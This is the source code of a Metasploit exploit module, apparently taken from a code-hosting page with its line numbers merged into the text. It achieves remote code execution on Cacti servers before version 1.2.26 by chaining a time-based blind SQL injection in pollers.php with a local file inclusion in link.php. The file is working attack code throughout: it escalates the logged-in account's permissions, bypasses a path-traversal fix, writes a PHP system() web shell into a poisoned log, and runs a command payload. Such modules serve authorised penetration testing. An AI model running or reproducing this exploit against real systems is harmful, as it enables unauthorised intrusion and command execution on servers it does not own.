Path: blob/master/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb
33244 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::SQLi10include Msf::Exploit::FileDropper11include Msf::Exploit::Cacti12prepend Msf::Exploit::Remote::AutoCheck1314class CactiError < StandardError; end15class CactiNotFoundError < CactiError; end16class CactiVersionNotFoundError < CactiError; end17class CactiNoAccessError < CactiError; end18class CactiCsrfNotFoundError < CactiError; end19class CactiLoginError < CactiError; end2021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Cacti RCE via SQLi in pollers.php',26'Description' => %q{27This exploit module leverages a SQLi (CVE-2023-49085) and a LFI28(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to29achieve RCE. Authentication is needed and the account must have access30to the vulnerable PHP script (`pollers.php`). This is granted by31setting the `Sites/Devices/Data` permission in the `General32Administration` section.33},34'License' => MSF_LICENSE,35'Author' => [36'Aleksey Solovev', # Initial research and discovery37'Christophe De La Fuente' # Metasploit module38],39'References' => [40['GHSA', 'vr3c-38wh-g855', 'Cacti/cacti'], # SQLi41['GHSA', 'pfh9-gwm6-86vp', 'Cacti/cacti'], # LFI (RCE)42[ 'CVE', '2023-49085'], # SQLi43[ 'CVE', '2023-49084'] # LFI (RCE)44],45'Privileged' => false,46'Targets' => [47[48'Linux Command',49{50'Arch' => ARCH_CMD,51'Platform' => [ 'unix', 'linux' ]52}53],54[55'Windows Command',56{57'Arch' => ARCH_CMD,58'Platform' => 'win'59}60]61],62'DefaultOptions' => {63'SqliDelay' => 364},65'DisclosureDate' => '2023-12-20',66'DefaultTarget' => 0,67'Notes' => {68'Stability' => [CRASH_SAFE],69'Reliability' => [REPEATABLE_SESSION],70'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]71}72)73)7475register_options(76[77OptString.new('USERNAME', [ true, 'User to login with', 'admin']),78OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),79OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])80]81)82end8384def sqli85@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|86sqli_final_payload = '"'87sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')88sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""89send_request_cgi(90'uri' => normalize_uri(target_uri.path, 'pollers.php'),91'method' => 'POST',92'keep_cookies' => true,93'vars_post' => {94'__csrf_magic' => @csrf_token,95'name' => 'Main Poller',96'hostname' => 'localhost',97'timezone' => '',98'notes' => '',99'processes' => '1',100'threads' => '1',101'id' => '2',102'save_component_poller' => '1',103'action' => 'save',104'dbhost' => sqli_final_payload105},106'vars_get' => {107'header' => 'false'108}109)110end111end112113def check114# Step 1 - Check if the target is Cacti and get the version115print_status('Checking Cacti version')116res = send_request_cgi(117'uri' => normalize_uri(target_uri.path, 'index.php'),118'method' => 'GET',119'keep_cookies' => true120)121return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?122123html = res.get_html_document124begin125@cacti_version = parse_version(html)126version_msg = "The web server is running Cacti version #{@cacti_version}"127rescue CactiNotFoundError => e128return CheckCode::Safe(e.message)129rescue CactiVersionNotFoundError => e130return CheckCode::Unknown(e.message)131end132133if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')134print_good(version_msg)135else136return CheckCode::Safe(version_msg)137end138139# Step 2 - Login140@csrf_token = parse_csrf_token(html)141return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?142143begin144do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)145rescue CactiError => e146return CheckCode::Unknown("Login failed: #{e}")147end148149@logged_in = true150151# Step 3 - Check if the user has enough permissions to reach `pollers.php`152print_status('Checking permissions to access `pollers.php`')153res = send_request_cgi(154'uri' => normalize_uri(target_uri.path, 'pollers.php'),155'method' => 'GET',156'keep_cookies' => true,157'headers' => {158'X-Requested-With' => 'XMLHttpRequest'159}160)161return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?162return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401163return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200164165# Step 4 - Check if it is vulnerable to SQLi166print_status('Attempting SQLi to check if the target is vulnerable')167return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable168169CheckCode::Vulnerable170end171172def get_ext_link_id173# Get an unused External Link ID with a time-based SQLi174@ext_link_id = rand(1000..9999)175loop do176_res, elapsed_time = Rex::Stopwatch.elapsed_time do177sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")178end179break if elapsed_time < datastore['SqliDelay']180181@ext_link_id = rand(1000..9999)182end183vprint_good("Got external link ID #{@ext_link_id}")184end185186def exploit187if @csrf_token.blank? || @cacti_version.blank?188res = send_request_cgi(189'uri' => normalize_uri(target_uri.path, 'index.php'),190'method' => 'GET',191'keep_cookies' => true192)193fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?194195html = res.get_html_document196if @csrf_token.blank?197print_status('Getting the CSRF token to login')198@csrf_token = parse_csrf_token(html)199# exit early since without the CSRF token, we cannot login200fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?201202vprint_good("CSRF token: #{@csrf_token}")203end204205if @cacti_version.blank?206print_status('Getting the version')207begin208@cacti_version = parse_version(html)209vprint_good("Version: #{@cacti_version}")210rescue CactiError => e211# We can still log in without the version212print_bad("Could not get the version, the exploit might fail: #{e}")213end214end215end216217unless @logged_in218begin219do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)220rescue CactiError => e221fail_with(Failure::NoAccess, "Login failure: #{e}")222end223end224225@log_file_path = "log/cacti#{rand(1..999)}.log"226print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")227@log_setting_name_bak = '_path_cactilog'228sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")229@do_settings_cleanup = true230sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")231register_file_for_cleanup(@log_file_path)232233print_status("Inserting the log file path `#{@log_file_path}` to the external links table")234log_file_path_lfi = "../../#{@log_file_path}"235# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):236# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);237log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')238get_ext_link_id239sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")240@do_ext_link_cleanup = true241242print_status('Getting the user ID and setting permissions (it might take a few minutes)')243user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")244fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)245sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")246@do_perms_cleanup = true247248print_status('Logging in again to apply new settings and permissions')249# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.250# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.251cookie_jar_bak = cookie_jar.clone252cookie_jar.clear253csrf_token_bak = @csrf_token254255begin256@csrf_token = get_csrf_token257rescue CactiError => e258fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")259end260261begin262do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)263rescue CactiError => e264fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")265end266267print_status('Poisoning the log')268header_name = rand_text_alpha(1).upcase269sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")270271print_status('Triggering the payload')272# Expecting no response273send_request_cgi({274'uri' => normalize_uri(target_uri.path, 'link.php'),275'method' => 'GET',276'keep_cookies' => true,277'headers' => {278header_name => payload.encoded279},280'vars_get' => {281'id' => @ext_link_id,282'headercontent' => 'true'283}284}, 1)285286# Restore the cookie_jar and the CSRF token to run cleanup without being blocked287cookie_jar.clear288self.cookie_jar = cookie_jar_bak289@csrf_token = csrf_token_bak290end291292def cleanup293super294295if @do_ext_link_cleanup296print_status('Cleaning up external link using SQLi')297sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")298end299300if @do_perms_cleanup301print_status('Cleaning up permissions using SQLi')302sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")303end304305if @do_settings_cleanup306print_status('Cleaning up the log path in `settings` table using SQLi')307sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")308sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")309end310end311end312313314